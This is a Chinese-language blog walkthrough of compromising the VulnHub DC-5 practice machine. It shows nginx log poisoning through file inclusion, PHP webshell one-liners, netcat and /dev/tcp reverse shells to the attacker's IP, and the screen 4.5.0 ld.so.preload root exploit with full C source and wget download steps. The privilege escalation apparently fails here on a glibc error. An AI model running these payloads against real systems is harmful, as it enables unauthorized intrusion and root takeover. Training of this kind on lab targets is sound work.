vulnhub-DC-5
Published in:2023-06-29 | category: 网络安全

vulnhub-DC-5

DC-5靶场下载地址:https://www.five86.com/downloads/DC-5.zip

只需要下载,然后用VM打开,把网络配置改成net即可

第一步:发现主机

方式一:使用nmap进行网段扫描和端口扫描

网段扫描,主机是否在线:

1
2
3
4
5
nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP

-T4:表示设置扫描速度为 4,这是一个中等的速度选项。你也可以根据实际情况调整扫描速度,例如使用 -T1(最慢)到 -T5(最快)之间的选项。
-sP:表示进行 Ping 扫描,即对指定 IP 地址范围内的主机进行 ICMP Ping 检测,以确定主机是否在线。
-oN nmap220.sP:表示输出扫描结果到文件 nmap220.sP 中,格式为普通文本。

端口扫描,发现运行的服务:

1
2
3
4
nmap -A -T4 192.168.153.143 -p- -oN 143.A

-A:表示使用其它高级选项进行主机探测,包括操作系统检测、版本检测、脚本扫描等。-A 选项可以提供更详细的信息。
-p- 表示全端口扫描

Untitled

方式二:使用fscan

(没有扫全端口)

Untitled

综合考虑,经过排除,可以看到192.168.153.143就是我们的靶机了(我同时开了个centos)

一共开放了三个端口

1
2
3
4
80
22
34574
111

web打点

访问一下80端口

Untitled

这里有一些输入框,随便输一些东西进去试试

Untitled

提交后到达这个页面

Untitled

然后接下来就是一个神奇的思路了(不看wp我真想不出来

通过刷新此页面,可以看到下面Copyright © 2018一直在变,这里可以知道是文件包含(我也不知道为什么)

Untitled

Untitled

Untitled

知道有文件包含之后,就得fuzz出参数了(这里就不fuzz,直接就是手动file了,用arjun也不太方便,因为页面内容一直变化,影响判断)

包含一下passwd

Untitled

shadow发现读不到,判断是权限不够,不是root账号

然后接下来就是读dc用户的sshhistory,发现都没有

等等!这byd是个文件包含,不是任意文件读取,能做得事情更多

我们先读取nginx配置文件:/etc/nginx/nginx.conf

Untitled

小技巧,选择并右键查看源代码,这样更有可阅性,不会乱成一团

然后查找nginx日志位置

看到了

Untitled

尝试在UA头发送一句话木马并包含

Untitled

发送命令:

1
http://192.168.153.143/thankyou.php?file=../../../../../../../../var/log/nginx/access.log&1=ls

Untitled

成功getshell

但到这里不知道为什么webshell工具都突然发dian了,连接不上,又因为这个日志文件太大了,所以我想重新上个马,直接touch创建不了,因为权限不够

所以了php来创建(请记住我写的这个sb代码,直接把日志文件给搞下线了(原因不明

Untitled

当我以为靶机坏了的时候,我打开我的xhell准备关闭,但一看

OHHHHH!

Untitled

刚才反弹shell还剩个命令行(很难受的一个命令行窗口,不能任意操作)

所以我准备利用这个命令行来创建一个新马,首先查看id,发现是www-data权限,在网站目录下创建文件夹失败

我们可以先查看一下哪些文件夹普通用户有权限写入

1
ls -l / #看一下根目录

Untitled

发现这个tmp目录权限挺高的

1
echo "<?php eval(system(\$_POST[b]));?>" > /tmp/6.txt

直接创建一个文件

Untitled

这样就重新连上了(但是webshell依然没搞定)

然后又回到刚才那个难受的窗口,学到了个新技巧切换到shell外壳(可以接收交互式shell)

1
python -c 'import pty;pty.spawn("/bin/bash")'

Untitled

补充一下那个难受的反弹shell,但没办法,因为发送请求时用sh -i >& /dev/tcp/192.168.153.138/8888 0>&1的话&会被误以为请求参数的连接符

所以使用了:

1
2
nc -c sh 192.168.153.138 8888
138虚拟机开启监听:nc -lvnp 8888

提权

权限太低了,很多操作都被限制了,提升一下权限。

1
2
3
4
5
6
7
8
9
10
11
12
将可以提权的命令输出到/tmp/1.txt
find / -perm -4000 -o -perm -2000 >> /tmp/1.txt

find / -user root -perm -4000 -print 2>/dev/null

find:表示执行 find 命令,用于在文件系统中搜索文件和目录。
/:表示要搜索的起始路径。在这种情况下,/ 表示从根目录开始搜索整个文件系统。
-user root:表示匹配所有者为 root 的文件。
-perm -4000:表示匹配具有 setuid 权限(数字 4000)的文件。加号 - 表示匹配精确的权限。
-print:表示打印匹配到的文件路径。

最后的 2>/dev/null 是将标准错误输出重定向到空设备,以防止错误消息显示在终端上。

查看

Untitled

发现screen-4.5.0

在kali上查找可用于screen 4.5.0的漏洞脚本文件

1
searchsploit screen 4.5.0

Untitled

PS:searchsploit 是一款在exp仓库中搜索可用exp的工具

查看一下exp:

1
cat /usr/share/exploitdb/exploits/linux/local/41154.sh

Untitled

  1. 创建第一个文件,并复制一下代码块
1
2
3
4
5
6
7
8
9
10
11
12
vi libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
  1. 创建第二个文件,复制第二个代码块
1
2
3
4
5
6
7
8
9
10
vi rootshell.c

#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
  1. 编译文件
1
2
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

Untitled

Untitled

接下来就是把exp发送到靶机

kali开启服务

Untitled

切换到tmp目录并下载exp

1
2
3
cd /tmp
www-data@dc-5:/tmp$ wget 192.168.153.129:9999/libhax.so
www-data@dc-5:/tmp$ wget 192.168.153.129:9999/rootshell

最后就是执行exp的最后一段

1
2
3
4
5
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen –ls
/tmp/rootshell
  • 幻想时间:

    1
    2
    root@dc-5:id
    root
  • 现实:

    1
    2
    3
    4
    5
    6
    www-data@dc-5:/tmp$ ./2.sh
    ./2.sh
    ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
    [+] done!
    Please set a terminal type.
    /tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)

    6,没提权成功,没找到是什么问题,靠

Prev:
ctfshow-web入门-其他(1)
Next:
愚人杯wp